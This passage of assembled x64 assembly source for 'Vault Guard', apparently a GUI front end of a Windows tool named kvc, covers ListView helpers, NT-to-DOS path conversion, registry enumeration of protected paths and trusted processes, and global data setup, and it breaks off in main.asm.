    mov     r8d, (LVS_EX_FULLROWSELECT + LVS_EX_DOUBLEBUFFER)
    mov     edx, LVM_SETEXTENDEDLISTVIEWSTYLE
    mov     rcx, g_hwndLvTrusted
    call    SendMessageW

    ; Column: Process name (620)
    mov     r9, offset str_col_process
    mov     r8d, 620
    xor     edx, edx
    mov     rcx, g_hwndLvTrusted
    call    _LvAddColumn

    ; ── Author / copyright static: x=20 y=396 w=624 h=18 ───────────────────
    ; Centered single-line label below the trusted list; uses STY_STATIC_CENTER
    ; (WS_CHILD | WS_VISIBLE | SS_CENTER).
    mov     r14, g_hInstance
    mov     qword ptr [rsp+58h], 0
    mov     qword ptr [rsp+50h], r14
    mov     qword ptr [rsp+48h], IDC_STATIC_AUTHOR
    mov     qword ptr [rsp+40h], rbx
    mov     dword ptr [rsp+38h], 18
    mov     dword ptr [rsp+30h], 624
    mov     dword ptr [rsp+28h], 396
    mov     dword ptr [rsp+20h], 20
    mov     r9d, STY_STATIC_CENTER
    lea     r8, str_author
    lea     rdx, str_staticcls
    xor     ecx, ecx
    call    CreateWindowExW
    mov     rcx, rax
    mov     rdx, g_hFontSmall
    call    _SendFont

    ; Apply theme: brush + SetWindowTheme + LV colors
    call    _ApplyThemeColors

    ; Start periodic refresh timer (polls driver status + updates ListView)
    xor     r9d, r9d                        ; lpTimerFunc = NULL (uses WM_TIMER)
    mov     r8d, TIMER_STATUS_MS            ; interval in ms
    mov     edx, TIMER_STATUS_ID
    mov     rcx, rbx
    call    SetTimer

    ; Bootstrap: read driver status, load persisted config, populate lists
    call    UpdateStatusBar                 ; sets title bar / toggle button text
    call    ConfigLoad                      ; adds saved paths to driver via IOCTL
    call    RefreshLists                    ; populates both ListViews from registry

    add     rsp, 68h
    pop     r14
    pop     r13
    pop     r12
    pop     rdi
    pop     rsi
    pop     rbx
    ret
_OnCreate endp

end

<<<FILE: kvc/vg/listview.asm>>>
Created:  2026-05-28 10:09:03
Modified: 2026-05-28 10:09:03
Size:     26.59 KB
; ==============================================================================
; Vault Guard - ListView Helpers
;
; Author: Marek Wesołowski (wesmar)
; Purpose: SysListView32 column/item management. Refresh both lists from:
;          - Paths: scanned from driver IOCTL buffer (DWORD flags + WCHAR path)
;          - Trusted: enumerated from HKCU\Software\kvc\lock\Trusted (driver does
;                     not return reliable process names)
;          Flicker eliminated via WM_SETREDRAW freeze/thaw + InvalidateRect.
;          Paths shown as DOS via QueryDosDeviceW cache.
;
; Exported:
;   _LvAddColumn(rcx=hwndLv, rdx=colIdx, r8=width, r9=pszText)  → void
;   _LvInsertItem(rcx=hwndLv, rdx=row, r8=col, r9=pszText)      → void
;   _LvGetSelIdx(rcx=hwndLv)                                     → rax = idx|-1
;   _LvGetItemText(rcx=hwndLv, rdx=row, r8=col, r9=buf)         → void
;   RefreshLists()                                               → void
;
; Internal:
;   _NtDosCacheInit()                                            → void
;   _NtPathToDos(rcx=nt, rdx=out, r8d=outChars)                  → eax(1=ok)
; ==============================================================================

option casemap:none

include consts.inc
include globals.inc

EXTRN SendMessageW              :PROC
EXTRN InvalidateRect            :PROC
EXTRN QueryDosDeviceW           :PROC
EXTRN RegOpenKeyExW             :PROC
EXTRN RegEnumValueW             :PROC
EXTRN RegCloseKey               :PROC
EXTRN EnsureDriverReady         :PROC
EXTRN IoctlEnumPaths            :PROC
EXTRN CloseDevice               :PROC
EXTRN wcscmp_ci                 :PROC

EXTRN g_pendingPath             :WORD

; ==============================================================================
; CONSTANT STRINGS
; ==============================================================================
.const

PUBLIC str_check
PUBLIC str_empty
str_check       dw 2611h,0          ; ☑ checked box
str_empty       dw 2610h,0          ; ☐ empty box

lv_str_trust_key dw 'S','o','f','t','w','a','r','e','\','k','v','c','\','l','o','c','k','\','T','r','u','s','t','e','d',0
lv_str_paths_key dw 'S','o','f','t','w','a','r','e','\','k','v','c','\','l','o','c','k','\','P','a','t','h','s',0

; ==============================================================================
; DATA
; ==============================================================================
.data
    align 8

lv_item             db LVITEMW_SIZE dup(0)
lv_col              db LVCOLUMNW_SIZE dup(0)

.data?
    align 8
    ; NT→DOS conversion cache (26 drives × 64 WCHARs)
    dos_drives_buf   dw 26 * 64 dup(?)
    dos_drives_len   dd 26 dup(?)
    dos_cache_inited dd ?
    dos_drive_name   dw 8 dup(?)
    nt_dos_scratch   dw 520 dup(?)

    ; Trusted enum (registry)
    lv_trust_hkey    dq ?
    lv_trust_namelen dd ?
    lv_trust_name_buf dw 520 dup(?)

    ; Paths enum (registry)
    lv_path_hkey     dq ?
    lv_path_namelen  dd ?
    lv_path_datalen  dd ?
    lv_path_type     dd ?
    lv_path_flags    dd ?
    lv_path_name_buf dw 520 dup(?)

    ; Selection preservation across refresh
    lv_saved_path_buf  dw 520 dup(?)
    lv_saved_trust_buf dw 520 dup(?)
    lv_compare_buf     dw 520 dup(?)

; ==============================================================================
; CODE
; ==============================================================================
.code

PUBLIC _LvAddColumn
PUBLIC _LvInsertItem
PUBLIC _LvGetSelIdx
PUBLIC _LvGetItemText
PUBLIC _LvSetRowParam
PUBLIC _LvGetRowParam
PUBLIC RefreshLists

; ==============================================================================
; _NtDosCacheInit  →  void
; Idempotent. Fills cache via QueryDosDeviceW for drives A..Z.
; Stack: entry rsp%16=8; push rbx,rsi (+16)→8; sub 28h (+40)→0 ✓
; ==============================================================================
_NtDosCacheInit proc
    cmp     dos_cache_inited, 0
    jne     @ndc_already

    push    rbx
    push    rsi
    sub     rsp, 28h

    xor     ebx, ebx                        ; drive index 0..25
@ndc_loop:
    cmp     ebx, 26
    jge     @ndc_done

    ; Build L"X:\0" drive query string for this index
    movzx   eax, bl
    add     eax, 'A'                            ; drive letter: A + index
    mov     word ptr [dos_drive_name],     ax   ; e.g. L'C'
    mov     word ptr [dos_drive_name + 2], ':' ; L':'
    mov     word ptr [dos_drive_name + 4], 0   ; null terminator

    ; rsi = &dos_drives_buf[drive_index * 64 WCHARs]
    mov     rax, rbx
    shl     rax, 7                              ; *128 = *64 WCHARs * 2 bytes
    lea     rsi, dos_drives_buf
    add     rsi, rax

    mov     r8d, 64                             ; output buffer: 64 WCHARs
    mov     rdx, rsi
    lea     rcx, dos_drive_name                 ; e.g. "C:"
    call    QueryDosDeviceW                     ; -> "\Device\HarddiskVolume3"
    test    eax, eax
    jz      @ndc_invalid

    ; measure NT prefix length (up to 64 WCHARs) for prefix matching later
    xor     ecx, ecx
@ndc_strlen:
    cmp     ecx, 64
    jge     @ndc_invalid
    cmp     word ptr [rsi + rcx * 2], 0
    je      @ndc_got_len
    inc     ecx
    jmp     @ndc_strlen
@ndc_got_len:
    test    ecx, ecx
    jz      @ndc_invalid                        ; empty result -- drive not ready
    lea     r10, dos_drives_len
    mov     dword ptr [r10 + rbx * 4], ecx      ; store length for _NtPathToDos
    jmp     @ndc_next

@ndc_invalid:
    lea     r10, dos_drives_len
    mov     dword ptr [r10 + rbx * 4], 0

@ndc_next:
    inc     ebx
    jmp     @ndc_loop

@ndc_done:
    mov     dos_cache_inited, 1
    add     rsp, 28h
    pop     rsi
    pop     rbx
@ndc_already:
    ret
_NtDosCacheInit endp

; ==============================================================================
; _NtPathToDos  rcx=ntPath  rdx=outBuf  r8d=outBufChars  →  eax(1=ok)
; Case-insensitive prefix match (ASCII fold) → "X:" + remainder.
; Stack: entry rsp%16=8; push rbx,rsi,rdi,r12 (+32)→8; sub 28h (+40)→0 ✓
; ==============================================================================
_NtPathToDos proc
    push    rbx
    push    rsi
    push    rdi
    push    r12
    sub     rsp, 28h

    mov     rbx, rcx                        ; ntPath
    mov     rsi, rdx                        ; outBuf
    mov     r12d, r8d                       ; outBufChars

    call    _NtDosCacheInit

    cmp     r12d, 3
    jl      @npd_fail

    xor     edi, edi
@npd_drv_loop:
    cmp     edi, 26
    jge     @npd_fail

    lea     r10, dos_drives_len
    mov     r11d, dword ptr [r10 + rdi * 4]
    test    r11d, r11d
    jz      @npd_next

    mov     rax, rdi
    shl     rax, 7
    lea     rdx, dos_drives_buf
    add     rdx, rax
    mov     r10, rbx
    mov     r9d, r11d

@npd_cmp:
    test    r9d, r9d
    jz      @npd_matched
    mov     ax,  word ptr [rdx]
    mov     r8w, word ptr [r10]
    cmp     ax, 'A'
    jb      @npd_cmp_pok
    cmp     ax, 'Z'
    ja      @npd_cmp_pok
    or      ax, 20h
@npd_cmp_pok:
    cmp     r8w, 'A'
    jb      @npd_cmp_sok
    cmp     r8w, 'Z'
    ja      @npd_cmp_sok
    or      r8w, 20h
@npd_cmp_sok:
    cmp     ax, r8w
    jne     @npd_next
    add     rdx, 2
    add     r10, 2
    dec     r9d
    jmp     @npd_cmp

@npd_matched:
    movzx   eax, dil
    add     eax, 'A'
    mov     word ptr [rsi],     ax
    mov     word ptr [rsi + 2], ':'

    lea     r11, [rsi + 4]
    mov     r9d, r12d
    sub     r9d, 2

@npd_copy:
    test    r9d, r9d
    jz      @npd_trunc
    mov     ax, word ptr [r10]
    mov     word ptr [r11], ax
    test    ax, ax
    jz      @npd_ok
    add     r10, 2
    add     r11, 2
    dec     r9d
    jmp     @npd_copy

@npd_trunc:
    mov     word ptr [r11 - 2], 0

@npd_ok:
    mov     eax, 1
    jmp     @npd_ret

@npd_next:
    inc     edi
    jmp     @npd_drv_loop

@npd_fail:
    xor     eax, eax
@npd_ret:
    add     rsp, 28h
    pop     r12
    pop     rdi
    pop     rsi
    pop     rbx
    ret
_NtPathToDos endp

; ==============================================================================
; _LvSetRowParam  rcx=hwndLv  rdx=row  r8=lParam  →  void
; Stores lParam (flags DWORD) in LVITEMW for the given row.
; Stack: entry rsp%16=8; push rbx,rsi (+16)→8; sub 38h (+56)→0 ✓
; ==============================================================================
_LvSetRowParam proc
    push    rbx
    push    rsi
    sub     rsp, 38h

    mov     rbx, rcx
    mov     esi, edx

    lea     r10, lv_item
    mov     dword ptr [r10 + LVITEMW_mask],     LVIF_PARAM
    mov     dword ptr [r10 + LVITEMW_iItem],    esi
    mov     dword ptr [r10 + LVITEMW_iSubItem], 0
    mov     qword ptr [r10 + LVITEMW_lParam],   r8

    lea     r9, lv_item
    xor     r8d, r8d
    mov     edx, LVM_SETITEMW
    mov     rcx, rbx
    call    SendMessageW

    add     rsp, 38h
    pop     rsi
    pop     rbx
    ret
_LvSetRowParam endp

; ==============================================================================
; _LvGetRowParam  rcx=hwndLv  rdx=row  →  rax = lParam
; Retrieves lParam (flags DWORD) from LVITEMW for the given row.
; Stack: entry rsp%16=8; push rbx,rsi (+16)→8; sub 28h (+40)→0 ✓
; ==============================================================================
_LvGetRowParam proc
    push    rbx
    push    rsi
    sub     rsp, 28h

    mov     rbx, rcx
    mov     esi, edx

    lea     r10, lv_item
    mov     dword ptr [r10 + LVITEMW_mask],     LVIF_PARAM
    mov     dword ptr [r10 + LVITEMW_iItem],    esi
    mov     dword ptr [r10 + LVITEMW_iSubItem], 0
    mov     qword ptr [r10 + LVITEMW_pszText],  0

    lea     r9, lv_item
    xor     r8d, r8d
    mov     edx, LVM_GETITEMW
    mov     rcx, rbx
    call    SendMessageW

    lea     r10, lv_item
    mov     rax, qword ptr [r10 + LVITEMW_lParam]

    add     rsp, 28h
    pop     rsi
    pop     rbx
    ret
_LvGetRowParam endp

; ==============================================================================
; _LvAddColumn  rcx=hwndLv  rdx=colIdx  r8=width  r9=pszText  →  void
; Stack: entry rsp%16=8; push rbx,rsi,rdi,r12 (+32)→8; sub 28h (+40)→0 ✓
; ==============================================================================
_LvAddColumn proc
    push    rbx
    push    rsi
    push    rdi
    push    r12
    sub     rsp, 28h

    mov     rbx, rcx
    mov     rsi, rdx
    mov     rdi, r8
    mov     r12, r9

    lea     r10, lv_col
    mov     dword ptr [r10 + LVCOLUMNW_mask],    (LVCF_TEXT + LVCF_WIDTH + LVCF_FMT + LVCF_SUBITEM)
    mov     dword ptr [r10 + LVCOLUMNW_fmt],     LVCFMT_LEFT
    mov     dword ptr [r10 + LVCOLUMNW_cx],      edi
    mov     qword ptr [r10 + LVCOLUMNW_pszText], r12
    mov     dword ptr [r10 + LVCOLUMNW_iSubItem],esi

    lea     r9, lv_col
    mov     r8d, esi
    mov     edx, LVM_INSERTCOLUMNW
    mov     rcx, rbx
    call    SendMessageW

    add     rsp, 28h
    pop     r12
    pop     rdi
    pop     rsi
    pop     rbx
    ret
_LvAddColumn endp

; ==============================================================================
; _LvInsertItem  rcx=hwndLv  rdx=row  r8=col  r9=pszText  →  void
; Stack: entry rsp%16=8; push rbx,rsi,rdi,r12 (+32)→8; sub 28h (+40)→0 ✓
; ==============================================================================
_LvInsertItem proc
    push    rbx
    push    rsi
    push    rdi
    push    r12
    sub     rsp, 28h

    mov     rbx, rcx
    mov     rsi, rdx
    mov     rdi, r8
    mov     r12, r9

    lea     r10, lv_item
    xor     eax, eax
    mov     dword ptr [r10 + LVITEMW_mask],       (LVIF_TEXT)
    mov     dword ptr [r10 + LVITEMW_iItem],       esi
    mov     dword ptr [r10 + LVITEMW_iSubItem],    edi
    mov     dword ptr [r10 + LVITEMW_state],       0
    mov     dword ptr [r10 + LVITEMW_stateMask],   0
    mov     qword ptr [r10 + LVITEMW_pszText],     r12
    mov     dword ptr [r10 + LVITEMW_cchTextMax],  260
    mov     dword ptr [r10 + LVITEMW_iImage],      0
    mov     qword ptr [r10 + LVITEMW_lParam],      0

    lea     r9, lv_item
    xor     r8d, r8d
    test    edi, edi
    jz      @lii_insert
    mov     edx, LVM_SETITEMW
    jmp     @lii_send
@lii_insert:
    mov     edx, LVM_INSERTITEMW
@lii_send:
    mov     rcx, rbx
    call    SendMessageW

    add     rsp, 28h
    pop     r12
    pop     rdi
    pop     rsi
    pop     rbx
    ret
_LvInsertItem endp

; ==============================================================================
; _LvGetSelIdx  rcx=hwndLv  →  rax = selected index or -1
; Stack: entry rsp%16=8; push rbx,rsi (+16)→8; sub 28h (+40)→0 ✓
; ==============================================================================
_LvGetSelIdx proc
    push    rbx
    push    rsi
    sub     rsp, 28h

    mov     r9d, LVNI_SELECTED
    mov     r8, -1
    mov     edx, LVM_GETNEXTITEM
    call    SendMessageW

    add     rsp, 28h
    pop     rsi
    pop     rbx
    ret
_LvGetSelIdx endp

; ==============================================================================
; _LvGetItemText  rcx=hwndLv  rdx=row  r8=col  r9=buf  →  void
; Stack: entry rsp%16=8; push rbx,rsi,rdi,r12 (+32)→8; sub 28h (+40)→0 ✓
; ==============================================================================
_LvGetItemText proc
    push    rbx
    push    rsi
    push    rdi
    push    r12
    sub     rsp, 28h

    mov     rbx, rcx
    mov     rsi, rdx
    mov     rdi, r8
    mov     r12, r9

    lea     r10, lv_item
    mov     dword ptr [r10 + LVITEMW_mask],      LVIF_TEXT
    mov     dword ptr [r10 + LVITEMW_iItem],     esi
    mov     dword ptr [r10 + LVITEMW_iSubItem],  edi
    mov     qword ptr [r10 + LVITEMW_pszText],   r12
    mov     dword ptr [r10 + LVITEMW_cchTextMax],260

    lea     r8, lv_item
    mov     r9, r8
    mov     r8d, esi
    mov     edx, LVM_GETITEMTEXTW
    mov     rcx, rbx
    call    SendMessageW

    add     rsp, 28h
    pop     r12
    pop     rdi
    pop     rsi
    pop     rbx
    ret
_LvGetItemText endp

; ==============================================================================
; _LvFreeze  rcx=hwndLv  rdx=enable(0=freeze,1=thaw)  →  void
; WM_SETREDRAW wrapper. On thaw also invalidates the window.
; Stack: entry rsp%16=8; push rbx,rsi (+16)→8; sub 28h (+40)→0 ✓
; ==============================================================================
_LvFreeze proc
    push    rbx
    push    rsi
    sub     rsp, 28h

    mov     rbx, rcx                        ; hwnd
    mov     rsi, rdx                        ; enable

    xor     r9d, r9d
    mov     r8, rsi                             ; wParam = enable (0=freeze, 1=thaw)
    mov     edx, WM_SETREDRAW
    mov     rcx, rbx
    call    SendMessageW

    test    rsi, rsi                            ; only invalidate on thaw
    jz      @lf_ret
    xor     r8d, r8d                        ; bErase = FALSE
    xor     edx, edx                        ; lpRect = NULL (entire client)
    mov     rcx, rbx
    call    InvalidateRect                      ; force repaint after batch update

@lf_ret:
    add     rsp, 28h
    pop     rsi
    pop     rbx
    ret
_LvFreeze endp

; ==============================================================================
; _LvSelectByText  rcx=hwndLv  rdx=targetText(WCHAR*)  →  void
; Walks rows, finds first whose col 0 text matches target (case-insensitive),
; selects + focuses it and ensures it is visible. Silent if no match.
; Stack: entry rsp%16=8; push rbx,rsi,r12,r13 (+32)→8; sub 28h (+40)→0 ✓
; ==============================================================================
_LvSelectByText proc
    push    rbx
    push    rsi
    push    r12
    push    r13
    sub     rsp, 28h

    mov     rbx, rcx                        ; hwnd
    mov     rsi, rdx                        ; target text

    ; r12d = LVM_GETITEMCOUNT(hwnd)
    xor     r9d, r9d
    xor     r8d, r8d
    mov     edx, LVM_GETITEMCOUNT
    mov     rcx, rbx
    call    SendMessageW
    mov     r12d, eax
    test    r12d, r12d
    jle     @lsb_ret

    xor     r13d, r13d
@lsb_loop:
    cmp     r13d, r12d
    jge     @lsb_ret

    ; Fetch col 0 text of row r13d into lv_compare_buf
    lea     r9, lv_compare_buf
    xor     r8d, r8d
    mov     rdx, r13
    mov     rcx, rbx
    call    _LvGetItemText

    ; wcscmp_ci(rsi, lv_compare_buf) → 0 if match
    lea     rdx, lv_compare_buf
    mov     rcx, rsi
    call    wcscmp_ci
    test    eax, eax
    jnz     @lsb_next

    ; Match → set state SELECTED|FOCUSED
    lea     r10, lv_item
    mov     dword ptr [r10 + LVITEMW_state],     (LVIS_SELECTED + LVIS_FOCUSED)
    mov     dword ptr [r10 + LVITEMW_stateMask], (LVIS_SELECTED + LVIS_FOCUSED)

    lea     r9, lv_item
    mov     r8, r13
    mov     edx, LVM_SETITEMSTATE
    mov     rcx, rbx
    call    SendMessageW

    ; Ensure visible
    xor     r9d, r9d
    mov     r8, r13
    mov     edx, LVM_ENSUREVISIBLE
    mov     rcx, rbx
    call    SendMessageW
    jmp     @lsb_ret

@lsb_next:
    inc     r13d
    jmp     @lsb_loop

@lsb_ret:
    add     rsp, 28h
    pop     r13
    pop     r12
    pop     rsi
    pop     rbx
    ret
_LvSelectByText endp

; ==============================================================================
; RefreshLists  →  void
;
; Both ListViews repopulated with redraw frozen to eliminate flicker.
; Paths: scan g_ioBuf for {DWORD flags, WCHAR \path, null} records.
; Trusted: enumerate HKCU\Software\kvc\lock\Trusted via RegEnumValueW.
;
; Stack: entry rsp%16=8; push rbx,rsi,rdi,r12,r13,r14 (+48)→8; sub 48h (+72)→0 ✓
; RegEnumValueW 8 args: 4 stack slots at [+20h]..[+38h] (within 0x48 alloc).
; ==============================================================================
RefreshLists proc
    push    rbx
    push    rsi
    push    rdi
    push    r12
    push    r13
    push    r14
    sub     rsp, 48h

    ; Snapshot current selections (col 0 path text) to restore after repopulation
    mov     word ptr [lv_saved_path_buf], 0     ; sentinel: empty = nothing selected
    mov     rcx, g_hwndLvPaths
    call    _LvGetSelIdx                        ; -1 if no selection
    cmp     rax, -1
    je      @rl_no_path_sel
    lea     r9, lv_saved_path_buf
    xor     r8d, r8d                            ; col 0 = path
    mov     rdx, rax
    mov     rcx, g_hwndLvPaths
    call    _LvGetItemText                      ; save selected path text
@rl_no_path_sel:

    mov     word ptr [lv_saved_trust_buf], 0
    mov     rcx, g_hwndLvTrusted
    call    _LvGetSelIdx
    cmp     rax, -1
    je      @rl_no_trust_sel
    lea     r9, lv_saved_trust_buf
    xor     r8d, r8d
    mov     rdx, rax
    mov     rcx, g_hwndLvTrusted
    call    _LvGetItemText                      ; save selected trusted process text
@rl_no_trust_sel:

    ; ── Freeze both ListViews ────────────────────────────────────────────────
    mov     edx, 0                              ; 0 = freeze (disable redraw)
    mov     rcx, g_hwndLvPaths
    call    _LvFreeze
    mov     edx, 0
    mov     rcx, g_hwndLvTrusted
    call    _LvFreeze

    ; ── Clear paths ──────────────────────────────────────────────────────────
    xor     r9d, r9d
    xor     r8d, r8d
    mov     edx, LVM_DELETEALLITEMS
    mov     rcx, g_hwndLvPaths
    call    SendMessageW

    ; ── Registry enum paths (authoritative GUI state) ────────────────────────
    lea     rax, lv_path_hkey
    mov     qword ptr [rsp + 20h], rax          ; phkResult
    mov     r9d, KEY_READ
    xor     r8d, r8d                            ; ulOptions = 0
    lea     rdx, lv_str_paths_key               ; "Software\VG\Paths"
    mov     rcx, HKEY_CURRENT_USER
    call    RegOpenKeyExW
    test    eax, eax
    jnz     @rl_no_reg_paths

    xor     r13d, r13d              ; registry value index
    xor     r14d, r14d              ; row index

@rl_paths_loop:
    mov     dword ptr [lv_path_namelen], 520
    mov     dword ptr [lv_path_datalen], 4

    lea     rax, lv_path_datalen
    mov     qword ptr [rsp + 38h], rax
    lea     rax, lv_path_flags
    mov     qword ptr [rsp + 30h], rax
    lea     rax, lv_path_type
    mov     qword ptr [rsp + 28h], rax
    mov     qword ptr [rsp + 20h], 0
    lea     r9, lv_path_namelen
    lea     r8, lv_path_name_buf
    mov     edx, r13d
    mov     rcx, qword ptr [lv_path_hkey]
    call    RegEnumValueW
    cmp     eax, ERROR_NO_MORE_ITEMS
    je      @rl_paths_close
    test    eax, eax
    jnz     @rl_paths_next

    mov     edi, dword ptr [lv_path_flags]
    and     edi, 0Fh

    lea     r9, lv_path_name_buf

    ; If registry now contains the pending path, clear the pending marker (avoid duplicate row)
    mov     qword ptr [rsp + 40h], r9           ; save r9 across call
    cmp     word ptr [g_pendingPath], 0
    je      @rl_pending_checked                 ; no pending path
    mov     rdx, r9                             ; current registry path
    lea     rcx, g_pendingPath
    call    wcscmp_ci                           ; case-insensitive compare
    test    eax, eax
    jnz     @rl_pending_checked
    mov     word ptr [g_pendingPath], 0         ; matched: clear pending
@rl_pending_checked:
    mov     r9, qword ptr [rsp + 40h]          ; restore r9

    mov     r8d, LVITEM_COL_PATH
    mov     rdx, r14
    mov     rcx, g_hwndLvPaths
    call    _LvInsertItem

    ; Store protection flags in LVITEM.lParam for fast checkbox toggle (no registry read)
    mov     r8d, edi                            ; flags bitmask
    mov     rdx, r14                            ; row index
    mov     rcx, g_hwndLvPaths
    call    _LvSetRowParam

    ; Col 1: Hidden
    test    dil, VG_FLAG_HIDDEN
    lea     r9, str_check
    jnz     @rl_h1
    lea     r9, str_empty
@rl_h1:
    mov     r8d, LVITEM_COL_H
    mov     rdx, r14
    mov     rcx, g_hwndLvPaths
    call    _LvInsertItem

    ; Col 2: Locked
    test    dil, VG_FLAG_LOCKED
    lea     r9, str_check
    jnz     @rl_l1
    lea     r9, str_empty
@rl_l1:
    mov     r8d, LVITEM_COL_L
    mov     rdx, r14
    mov     rcx, g_hwndLvPaths
    call    _LvInsertItem

    ; Col 3: Read-only
    test    dil, VG_FLAG_READONLY
    lea     r9, str_check
    jnz     @rl_r1
    lea     r9, str_empty
@rl_r1:
    mov     r8d, LVITEM_COL_R
    mov     rdx, r14
    mov     rcx, g_hwndLvPaths
    call    _LvInsertItem

    ; Col 4: No-exec
    test    dil, VG_FLAG_NOEXEC
    lea     r9, str_check
    jnz     @rl_x1
    lea     r9, str_empty
@rl_x1:
    mov     r8d, LVITEM_COL_X
    mov     rdx, r14
    mov     rcx, g_hwndLvPaths
    call    _LvInsertItem

    inc     r14d

@rl_paths_next:
    inc     r13d
    jmp     @rl_paths_loop

@rl_paths_close:
    mov     rcx, qword ptr [lv_path_hkey]
    call    RegCloseKey
    jmp     @rl_after_paths

@rl_no_reg_paths:
    xor     r14d, r14d

@rl_after_paths:

    ; ── Pending path (selected but not yet in driver) ────────────────────────
    cmp     word ptr [g_pendingPath], 0
    je      @rl_no_pending

    lea     r9, g_pendingPath
    mov     r8d, LVITEM_COL_PATH
    mov     rdx, r14
    mov     rcx, g_hwndLvPaths
    call    _LvInsertItem

    xor     r8d, r8d            ; lParam=0 (no flags yet)
    mov     rdx, r14
    mov     rcx, g_hwndLvPaths
    call    _LvSetRowParam

    lea     r9, str_empty
    mov     r8d, LVITEM_COL_H
    mov     rdx, r14
    mov     rcx, g_hwndLvPaths
    call    _LvInsertItem

    lea     r9, str_empty
    mov     r8d, LVITEM_COL_L
    mov     rdx, r14
    mov     rcx, g_hwndLvPaths
    call    _LvInsertItem

    lea     r9, str_empty
    mov     r8d, LVITEM_COL_R
    mov     rdx, r14
    mov     rcx, g_hwndLvPaths
    call    _LvInsertItem

    lea     r9, str_empty
    mov     r8d, LVITEM_COL_X
    mov     rdx, r14
    mov     rcx, g_hwndLvPaths
    call    _LvInsertItem

    inc     r14d
@rl_no_pending:

    ; ── Clear trusted list ───────────────────────────────────────────────────
    xor     r9d, r9d
    xor     r8d, r8d
    mov     edx, LVM_DELETEALLITEMS
    mov     rcx, g_hwndLvTrusted
    call    SendMessageW

    ; ── Open HKCU\Software\kvc\lock\Trusted ─────────────────────────────────
    ; RegOpenKeyExW(HKCU, subkey, 0, KEY_READ, &lv_trust_hkey)  ; 5 args
    lea     rax, lv_trust_hkey
    mov     qword ptr [rsp + 20h], rax
    mov     r9d, KEY_READ
    xor     r8d, r8d
    lea     rdx, lv_str_trust_key
    mov     rcx, HKEY_CURRENT_USER
    call    RegOpenKeyExW
    test    eax, eax
    jnz     @rl_after_trusted

    xor     r14d, r14d              ; row index / enum index

@rl_trust_loop:
    mov     dword ptr [lv_trust_namelen], 520
    ; RegEnumValueW: value name = process name; data not used (presence = allow)
    mov     qword ptr [rsp + 38h], 0            ; lpcbData = NULL
    mov     qword ptr [rsp + 30h], 0            ; lpData = NULL
    mov     qword ptr [rsp + 28h], 0            ; lpType = NULL
    mov     qword ptr [rsp + 20h], 0            ; lpReserved = NULL
    lea     r9, lv_trust_namelen
    lea     r8, lv_trust_name_buf               ; value name = process name
    mov     edx, r14d                           ; dwIndex
    mov     rcx, qword ptr [lv_trust_hkey]
    call    RegEnumValueW
    cmp     eax, ERROR_NO_MORE_ITEMS
    je      @rl_trust_close
    test    eax, eax
    jnz     @rl_trust_next                      ; skip damaged entries

    lea     r9, lv_trust_name_buf               ; process name string
    xor     r8d, r8d                            ; col 0
    mov     rdx, r14
    mov     rcx, g_hwndLvTrusted
    call    _LvInsertItem

@rl_trust_next:
    inc     r14d
    jmp     @rl_trust_loop

@rl_trust_close:
    mov     rcx, qword ptr [lv_trust_hkey]
    call    RegCloseKey

@rl_after_trusted:

    ; ── Restore selections by text ───────────────────────────────────────────
    cmp     word ptr [lv_saved_path_buf], 0
    je      @rl_skip_path_restore
    lea     rdx, lv_saved_path_buf
    mov     rcx, g_hwndLvPaths
    call    _LvSelectByText
@rl_skip_path_restore:

    cmp     word ptr [lv_saved_trust_buf], 0
    je      @rl_skip_trust_restore
    lea     rdx, lv_saved_trust_buf
    mov     rcx, g_hwndLvTrusted
    call    _LvSelectByText
@rl_skip_trust_restore:

    ; ── Thaw both ListViews + invalidate ─────────────────────────────────────
    mov     edx, 1
    mov     rcx, g_hwndLvPaths
    call    _LvFreeze
    mov     edx, 1
    mov     rcx, g_hwndLvTrusted
    call    _LvFreeze

    add     rsp, 48h
    pop     r14
    pop     r13
    pop     r12
    pop     rdi
    pop     rsi
    pop     rbx
    ret
RefreshLists endp

end

<<<FILE: kvc/vg/main.asm>>>
Created:  2026-05-27 23:35:44
Modified: 2026-05-27 23:35:44
Size:     5.09 KB
; ==============================================================================
; Vault Guard - Global Data and GUI Entry
;
; Author: Marek Wesołowski (wesmar)
; Purpose: Global data storage. VgGuiMain: creates window, runs message loop.
;          Called from kvc.cpp when user issues 'kvc vg --gui'.
; ==============================================================================

option casemap:none

include consts.inc

EXTRN GetModuleHandleW      :PROC
EXTRN GetMessageW           :PROC
EXTRN TranslateMessage      :PROC
EXTRN DispatchMessageW      :PROC
EXTRN AttachConsole         :PROC
EXTRN GetStdHandle          :PROC
EXTRN GetFileType           :PROC

EXTRN InitCommonControlsEx  :PROC
EXTRN CreateMainWindow      :PROC
EXTRN _TrayAdd              :PROC

; ==============================================================================
; INITIALIZED DATA
; ==============================================================================
.data
    align 8

PUBLIC g_hInstance, g_hwndMain
PUBLIC g_hwndLvPaths, g_hwndLvTrusted
PUBLIC g_hwndBtnToggle
PUBLIC g_hwndDrvStatus, g_hwndProtStatus
PUBLIC g_hDevice
PUBLIC g_hFontMain, g_hFontSmall
PUBLIC g_hBrushBg
PUBLIC g_isDarkMode
PUBLIC g_driverInstalled, g_driverRunning, g_protActive
PUBLIC g_cliMode
PUBLIC g_prevDrvOk, g_prevProtActive
PUBLIC g_startMinimized

g_hInstance         dq 0
g_hwndMain          dq 0
g_hwndLvPaths       dq 0
g_hwndLvTrusted     dq 0
g_hwndBtnToggle     dq 0
g_hwndDrvStatus     dq 0
g_hwndProtStatus    dq 0
g_hDevice           dq 0
g_hFontMain         dq 0
g_hFontSmall        dq 0
g_hBrushBg          dq 0
g_isDarkMode        dd 1        ; default dark
                    dd 0
g_driverInstalled   dd 0
                    dd 0
g_driverRunning     dd 0
                    dd 0
g_protActive        dd 0
                    dd 0
g_cliMode           dd 0
                    dd 0
g_startMinimized    dd 0
                    dd 0
; State cache for UpdateStatusBar — prevents flicker on unchanged labels.
; 0xFF = sentinel "never set", forces update on first call.
g_prevDrvOk         db 0FFh
                    db 0, 0, 0
g_prevProtActive    db 0FFh
                    db 0, 0, 0

; ==============================================================================
; UNINITIALIZED DATA
; ==============================================================================
.data?

PUBLIC g_ioBuf, g_pathBuf, g_tempBuf, g_statusBuf

g_ioBuf     db VG_IOCTL_BUF_SIZE dup(?)    ; 64 KB IOCTL enum buffer
g_pathBuf   dw 520 dup(?)                  ; path edit scratch (MAX_PATH+1)
g_tempBuf   dw 520 dup(?)                  ; general scratch
g_statusBuf dw 520 dup(?)                  ; status text scratch

; ==============================================================================
; CODE
; ==============================================================================
.code

; ==============================================================================
; VgGuiMain - GUI Entry Point (called from kvc.cpp)
;
; Gets hInstance, creates window, runs message loop until WM_QUIT.
